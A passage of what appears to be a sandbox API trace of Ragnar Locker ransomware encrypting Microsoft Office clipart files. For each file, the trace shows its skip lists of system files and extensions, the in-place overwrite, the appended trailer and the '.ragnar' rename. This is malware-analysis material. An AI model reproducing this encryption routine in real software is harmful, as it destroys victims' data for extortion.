lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.652] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3dd8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3dd8, lpOverlapped=0x0) returned 1 [0083.653] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.653] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3dd8, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.653] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3dd8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3dd8, lpOverlapped=0x0) returned 1 [0083.653] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3dd8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.653] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.654] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3dd8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.654] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.654] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.654] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.654] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.654] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.654] GetProcessHeap () returned 0x580000 [0083.654] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.654] CloseHandle (hObject=0xf4) returned 1 [0083.654] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF" [0083.654] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF.ragnar_FD7BD9FC" [0083.654] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.655] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3a14, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105292.WMF", cAlternateFileName="")) returned 1 [0083.655] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.655] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0105292.WMF" | out: lpString1="J0105292.WMF") returned="J0105292.WMF" [0083.655] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned=".WMF" [0083.655] lstrcmpiW (lpString1="J0105292.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.655] lstrcmpiW (lpString1="J0105292.WMF", lpString2="autorun.inf") returned 1 [0083.655] lstrcmpiW (lpString1="J0105292.WMF", lpString2="boot.ini") returned 1 [0083.655] lstrcmpiW (lpString1="J0105292.WMF", lpString2="bootfont.bin") returned 1 [0083.655] lstrcmpiW (lpString1="J0105292.WMF", lpString2="bootsect.bak") returned 1 [0083.655] lstrcmpiW (lpString1="J0105292.WMF", lpString2="bootmgr") returned 1 [0083.655] lstrcmpiW (lpString1="J0105292.WMF", lpString2="bootmgr.efi") returned 1 [0083.655] lstrcmpiW (lpString1="J0105292.WMF", lpString2="bootmgfw.efi") returned 1 [0083.655] lstrcmpiW (lpString1="J0105292.WMF", lpString2="desktop.ini") returned 1 [0083.655] lstrcmpiW (lpString1="J0105292.WMF", lpString2="iconcache.db") returned 1 [0083.655] lstrcmpiW (lpString1="J0105292.WMF", lpString2="ntldr") returned -1 [0083.655] lstrcmpiW (lpString1="J0105292.WMF", lpString2="ntuser.dat") returned -1 [0083.655] lstrcmpiW (lpString1="J0105292.WMF", lpString2="ntuser.dat.log") returned -1 [0083.655] lstrcmpiW (lpString1="J0105292.WMF", lpString2="ntuser.ini") returned -1 [0083.655] lstrcmpiW (lpString1="J0105292.WMF", lpString2="thumbs.db") returned -1 [0083.655] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.655] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.655] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.655] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.655] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.655] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.655] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.656] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf")) returned 0x20 [0083.656] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.656] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=14868) returned 1 [0083.656] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3a0b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.656] GetProcessHeap () returned 0x580000 [0083.656] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.656] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.665] VirtualAlloc (lpAddress=0x0, dwSize=0x3a14, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.666] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.666] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.666] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3a14, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3a14, lpOverlapped=0x0) returned 1 [0083.667] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.667] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3a14, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.667] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3a14, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3a14, lpOverlapped=0x0) returned 1 [0083.668] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3a14, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.668] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.668] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3a14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.668] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.668] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.668] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.668] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.668] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.668] GetProcessHeap () returned 0x580000 [0083.668] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.669] CloseHandle (hObject=0xf4) returned 1 [0083.669] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF" [0083.669] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF.ragnar_FD7BD9FC" [0083.669] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.671] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1580, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105294.WMF", cAlternateFileName="")) returned 1 [0083.671] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.671] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0105294.WMF" | out: lpString1="J0105294.WMF") returned="J0105294.WMF" [0083.671] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned=".WMF" [0083.671] lstrcmpiW (lpString1="J0105294.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.671] lstrcmpiW (lpString1="J0105294.WMF", lpString2="autorun.inf") returned 1 [0083.671] lstrcmpiW (lpString1="J0105294.WMF", lpString2="boot.ini") returned 1 [0083.671] lstrcmpiW (lpString1="J0105294.WMF", lpString2="bootfont.bin") returned 1 [0083.671] lstrcmpiW (lpString1="J0105294.WMF", lpString2="bootsect.bak") returned 1 [0083.671] lstrcmpiW (lpString1="J0105294.WMF", lpString2="bootmgr") returned 1 [0083.671] lstrcmpiW (lpString1="J0105294.WMF", lpString2="bootmgr.efi") returned 1 [0083.671] lstrcmpiW (lpString1="J0105294.WMF", lpString2="bootmgfw.efi") returned 1 [0083.671] lstrcmpiW (lpString1="J0105294.WMF", lpString2="desktop.ini") returned 1 [0083.672] lstrcmpiW (lpString1="J0105294.WMF", lpString2="iconcache.db") returned 1 [0083.672] lstrcmpiW (lpString1="J0105294.WMF", lpString2="ntldr") returned -1 [0083.672] lstrcmpiW (lpString1="J0105294.WMF", lpString2="ntuser.dat") returned -1 [0083.672] lstrcmpiW (lpString1="J0105294.WMF", lpString2="ntuser.dat.log") returned -1 [0083.672] lstrcmpiW (lpString1="J0105294.WMF", lpString2="ntuser.ini") returned -1 [0083.672] lstrcmpiW (lpString1="J0105294.WMF", lpString2="thumbs.db") returned -1 [0083.672] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.672] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.672] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.672] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.672] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.672] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.672] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.672] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf")) returned 0x20 [0083.672] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.673] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5504) returned 1 [0083.673] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1577, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.673] GetProcessHeap () returned 0x580000 [0083.673] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.673] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.674] VirtualAlloc (lpAddress=0x0, dwSize=0x1580, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.674] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.674] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.674] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1580, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1580, lpOverlapped=0x0) returned 1 [0083.675] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.675] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1580, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.675] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1580, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1580, lpOverlapped=0x0) returned 1 [0083.676] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1580, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.676] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.676] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1580, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.676] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.676] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.676] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.676] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.676] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.676] GetProcessHeap () returned 0x580000 [0083.676] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.676] CloseHandle (hObject=0xf4) returned 1 [0083.676] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF" [0083.676] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF.ragnar_FD7BD9FC" [0083.676] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.677] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x18b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105298.WMF", cAlternateFileName="")) returned 1 [0083.677] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.677] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0105298.WMF" | out: lpString1="J0105298.WMF") returned="J0105298.WMF" [0083.677] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned=".WMF" [0083.677] lstrcmpiW (lpString1="J0105298.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.677] lstrcmpiW (lpString1="J0105298.WMF", lpString2="autorun.inf") returned 1 [0083.677] lstrcmpiW (lpString1="J0105298.WMF", lpString2="boot.ini") returned 1 [0083.677] lstrcmpiW (lpString1="J0105298.WMF", lpString2="bootfont.bin") returned 1 [0083.677] lstrcmpiW (lpString1="J0105298.WMF", lpString2="bootsect.bak") returned 1 [0083.677] lstrcmpiW (lpString1="J0105298.WMF", lpString2="bootmgr") returned 1 [0083.677] lstrcmpiW (lpString1="J0105298.WMF", lpString2="bootmgr.efi") returned 1 [0083.677] lstrcmpiW (lpString1="J0105298.WMF", lpString2="bootmgfw.efi") returned 1 [0083.677] lstrcmpiW (lpString1="J0105298.WMF", lpString2="desktop.ini") returned 1 [0083.677] lstrcmpiW (lpString1="J0105298.WMF", lpString2="iconcache.db") returned 1 [0083.677] lstrcmpiW (lpString1="J0105298.WMF", lpString2="ntldr") returned -1 [0083.677] lstrcmpiW (lpString1="J0105298.WMF", lpString2="ntuser.dat") returned -1 [0083.678] lstrcmpiW (lpString1="J0105298.WMF", lpString2="ntuser.dat.log") returned -1 [0083.678] lstrcmpiW (lpString1="J0105298.WMF", lpString2="ntuser.ini") returned -1 [0083.678] lstrcmpiW (lpString1="J0105298.WMF", lpString2="thumbs.db") returned -1 [0083.678] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.678] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.678] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.678] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.678] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.678] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.678] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.678] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf")) returned 0x20 [0083.679] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.679] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6320) returned 1 [0083.679] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x18a7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.679] GetProcessHeap () returned 0x580000 [0083.679] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.679] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.680] VirtualAlloc (lpAddress=0x0, dwSize=0x18b0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.681] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.681] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.681] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x18b0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x18b0, lpOverlapped=0x0) returned 1 [0083.681] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.682] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x18b0, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.682] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x18b0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x18b0, lpOverlapped=0x0) returned 1 [0083.682] UnlockFile (hFile=0xf4, 